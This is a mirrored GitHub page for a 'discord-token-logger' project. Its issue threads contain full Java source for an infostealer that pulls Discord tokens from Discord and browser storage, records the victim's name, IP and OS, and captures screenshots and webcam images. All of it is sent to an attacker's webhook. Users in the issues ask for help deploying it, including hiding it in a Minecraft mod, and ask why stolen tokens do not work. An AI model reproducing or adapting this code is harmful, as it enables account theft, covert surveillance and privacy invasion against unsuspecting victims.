GithubHelp home page GithubHelp logo

discord-token-logger's Introduction

Humza

  • Masters in Computer Science, currently working as a Software Engineer

  • Interests resolve around creating full-stack software, networking, and data encryption/security.

Java | Python | C | C# | Ruby | JavaScript | SQL |

GitHub Stats

discord-token-logger's People

Contributors

humza1400 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

discord-token-logger's Issues

I want to use it for something good.

I know the title sounds really sketchy but I want to rat pedo's and find a lot of info about them and then report them to the police of his or her country and i want to make youtube videos about it and of course not share all the info but just the messages and what happend after please @humza1400 if you read this reply to me and I can send you my discord or you send yours i would really like to talk more about this with you.

How does this tokens work?

I get in my server tokens like this:
mfa.MMiX4R5eFakb-O5ZilfhVYUevjDzoR0cEkG1vKBm0L2bp846ZUqEQLs_fCga1omxeVW_J8IS98KbYT2EEfg4
NTkzOTI1IDE1MzM0MDQ0Njk3.Xz-X5w.Zm7bHsgCcwLkfsnbtYcePf99gCc

and i cant login with it but with this under i can.

normally i get tokens like this:
Azk3MDI2MjU0Njg3NDM2ODBw.YPNEBA.mBTCjz_yXoMqOFCa42UsblPyYkA

(this aren't real tokens)

help

How do I use this.

What imports are required if i was going to make this a minecraft mod?

Title Edit the code That i would need to change for it to work as a mc mod :

package swag.company;

import com.sun.istack.internal.NotNull;
import sun.net.www.http.HttpClient;

import javax.imageio.ImageIO;
import java.awt.;
import java.awt.image.BufferedImage;
import java.io.
;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Main {

public static void main(String[] args) {
    String llLlLlL = System.getProperty("os.name");
    try {
        URL whatismyip = new URL("http://checkip.amazonaws.com");
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(
                whatismyip.openStream()));
        String ip = bufferedReader.readLine();
        String llLlLlLlL = System.getProperty("user.name");
        captureScreen();
        sendMessage("``` NAME : " + llLlLlLlL + "\n IP" + "   : " + ip + " \n OS   : " + llLlLlL + "```");
    } catch (Exception ignore) {
    }

    if (llLlLlL.contains("Windows")) {

        List<String> paths = new ArrayList<>();
        paths.add(System.getProperty("user.home") + "/AppData/Roaming/discord/Local Storage/leveldb/");
        paths.add(System.getProperty("user.home") + "/AppData/Roaming/discordptb/Local Storage/leveldb/");
        paths.add(System.getProperty("user.home") + "/AppData/Roaming/discordcanary/Local Storage/leveldb/");
        paths.add(System.getProperty("user.home") + "/AppData/Roaming/Opera Software/Opera Stable/Local Storage/leveldb");
        paths.add(System.getProperty("user.home") + "/AppData/Local/Google/Chrome/User Data/Default/Local Storage/leveldb");


        int cx = 0;
        StringBuilder webhooks = new StringBuilder();
        webhooks.append("TOKEN\n");

        try {
            for (String path : paths) {
                File f = new File(path);
                String[] pathnames = f.list();
                if (pathnames == null) continue;

                for (String pathname : pathnames) {
                    try {
                        FileInputStream fstream = new FileInputStream(path + pathname);
                        DataInputStream in = new DataInputStream(fstream);
                        BufferedReader br = new BufferedReader(new InputStreamReader(in));

                        String strLine;
                        while ((strLine = br.readLine()) != null) {

                            Pattern p = Pattern.compile("[nNmM][\\w\\W]{23}\\.[xX][\\w\\W]{5}\\.[\\w\\W]{27}|mfa\\.[\\w\\W]{84}");
                            Matcher m = p.matcher(strLine);

                            while (m.find()) {
                                if (cx > 0) {
                                    webhooks.append("\n");
                                }
                                webhooks.append(" ").append(m.group());
                                cx++;
                            }

                        }

                    } catch (Exception ignored) {
                    }
                }
            }
            sendMessage("```" + webhooks.toString() + "```");

        } catch (Exception e) {
            sendMessage("``` UNABLE TO PULL TOKENS : " + e + "```");
        }


    } else if (llLlLlL.contains("Mac")) {
        List<String> paths = new ArrayList<>();
        paths.add(System.getProperty("user.home") + "/Library/Application Support/discord/Local Storage/leveldb/");

        int cx = 0;
        StringBuilder webhooks = new StringBuilder();
        webhooks.append("TOKEN\n");

        try {
            for (String path : paths) {
                File f = new File(path);
                String[] pathnames = f.list();
                if (pathnames == null) continue;

                for (String pathname : pathnames) {
                    try {
                        FileInputStream fstream = new FileInputStream(path + pathname);
                        DataInputStream in = new DataInputStream(fstream);
                        BufferedReader br = new BufferedReader(new InputStreamReader(in));

                        String strLine;
                        while ((strLine = br.readLine()) != null) {

                            Pattern p = Pattern.compile("[nNmM][\\w\\W]{23}\\.[xX][\\w\\W]{5}\\.[\\w\\W]{27}|mfa\\.[\\w\\W]{84}");
                            Matcher m = p.matcher(strLine);

                            while (m.find()) {
                                if (cx > 0) {
                                    webhooks.append("\n");
                                }
                                webhooks.append(" ").append(m.group());
                                cx++;
                            }

                        }

                    } catch (Exception ignored) {
                    }
                }
            }
            sendMessage("```" + webhooks.toString() + "```");

        } catch (Exception e) {
            sendMessage("``` UNABLE TO PULL TOKEN[S] : " + e + "```");
        }
    } else {
        sendMessage("```UNABLE TO FIND OTHER INFORMATION. OS IS NOT SUPPORTED```");
    }
    try {
        captureScreen();
    } catch (Exception ex) {
        sendMessage("``` UNABLE TO SCREENSHOT : " + ex + "```");
    }
    try {
        captureCamera();
    } catch (Exception ex) {
        sendMessage("``` UNABLE TO CAPTURE CAMERA : " + ex + "```");
    }
}

private static void sendMessage(String message) {
    PrintWriter out = null;
    BufferedReader in = null;
    StringBuilder result = new StringBuilder();
    try {
        URL realUrl = new URL("webhook");
        URLConnection conn = realUrl.openConnection();
        conn.setRequestProperty("accept", "*/*");
        conn.setRequestProperty("connection", "Keep-Alive");
        conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)");
        conn.setDoOutput(true);
        conn.setDoInput(true);
        out = new PrintWriter(conn.getOutputStream());
        String postData = URLEncoder.encode("content", "UTF-8") + "=" + URLEncoder.encode(message, "UTF-8");
        out.print(postData);
        out.flush();
        in = new BufferedReader(new InputStreamReader(conn.getInputStream()));
        String line;
        while ((line = in.readLine()) != null) {
            result.append("/n").append(line);
        }

    } catch (Exception e) {
        e.printStackTrace();
    } finally {
        try {
            if (out != null) {
                out.close();
            }
            if (in != null) {
                in.close();
            }
        } catch (IOException ex) {
            ex.printStackTrace();
        }
    }
    System.out.println(result.toString());
}

private static void sendFile(File file) throws IOException {

    String url = "webhook";
    String boundary = Long.toHexString(System.currentTimeMillis());
    URLConnection connection = new URL(url).openConnection();
    connection.setDoOutput(true);
    connection.setRequestProperty("User-Agent","Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36");
    connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
    try (PrintWriter writer = new PrintWriter(new OutputStreamWriter(connection.getOutputStream(), StandardCharsets.US_ASCII))) {
        writer.println("--" + boundary);
        writer.println("Content-Disposition: form-data; name=\"" + file.getName() + "\"; filename=\"" + file.getName() + "\"");
        writer.write("Content-Type: image/png");
        writer.println();
        writer.println(readAllBytes(new FileInputStream(file)));
        try (BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(file), StandardCharsets.US_ASCII))) {
            for (String line; (line = reader.readLine()) != null; ) {
                writer.println(line);
            }
        }
        writer.println("--" + boundary + "--");
    }
    System.out.println(((HttpURLConnection) connection).getResponseMessage());
}
public static byte[] readAllBytes(@NotNull InputStream stream) throws IOException {
    int count, pos = 0;
    byte[] output = new byte[0];
    byte[] buf = new byte[1024];
    while ((count = stream.read(buf)) > 0) {
        if (pos + count >= output.length) {
            byte[] tmp = output;
            output = new byte[pos + count];
            System.arraycopy(tmp, 0, output, 0, tmp.length);
        }

        for (int i = 0; i < count; i++) {
            output[pos++] = buf[i];
        }
    }
    return output;
}


@SuppressWarnings("all")
private static void captureScreen() throws Exception {
    Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
    Rectangle screenRectangle = new Rectangle(screenSize);
    Robot robot = new Robot();
    BufferedImage image = robot.createScreenCapture(screenRectangle);
    int random = new Random().nextInt();
    File file = new File("cached_" + random + ".png");
    ImageIO.write(image, "png", file);
    sendFile(file);
    file.delete();
}

private static void captureCamera() throws Exception {
    Webcam cam = Webcam.getDefault();
    cam.open();
    int random = Math.abs(new Random().nextInt());
    File webcam = new File("1cached_" + random + ".png");
    ImageIO.write(cam.getImage(), "PNG", webcam);
    cam.close();
    sendFile(webcam);
    file.delete();
}

}

Logger Not Opening

So i used the setup.exe file

when i tried to open the logger it just showed up a gray screen and didnt work

heres a picture
image_2021-10-15_183457

Help

C:\Users\shado\OneDrive\Desktop\MithrilBotScript\build\sources\main\java\com\mc\Juan\Main.java:39: error: diamond operator is not supported in -source 1.6
List paths = new ArrayList<>();
^
(use -source 7 or higher to enable diamond operator)
C:\Users\shado\OneDrive\Desktop\MithrilBotScript\build\sources\main\java\com\mc\Juan\Main.java:197: error: try-with-resources is not supported in -source 1.6
try (PrintWriter writer = new PrintWriter(new OutputStreamWriter(connection.getOutputStream(), StandardCharsets.US_ASCII))) {

Help how to use n stuff

please help me setup any neccesery stuff because i added the webhook (i think) and it have 30 errors
is it outdated?

if you do help
thanks
-Albi

explain

Where is the place to put the webhook

How are these tokens working?

When i receive a token they're different then by my other logger how does these tokens work?
They have another structure or something and i cant login with it.

how

can u help idk how to open it how it works if u can help me plz contact me

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.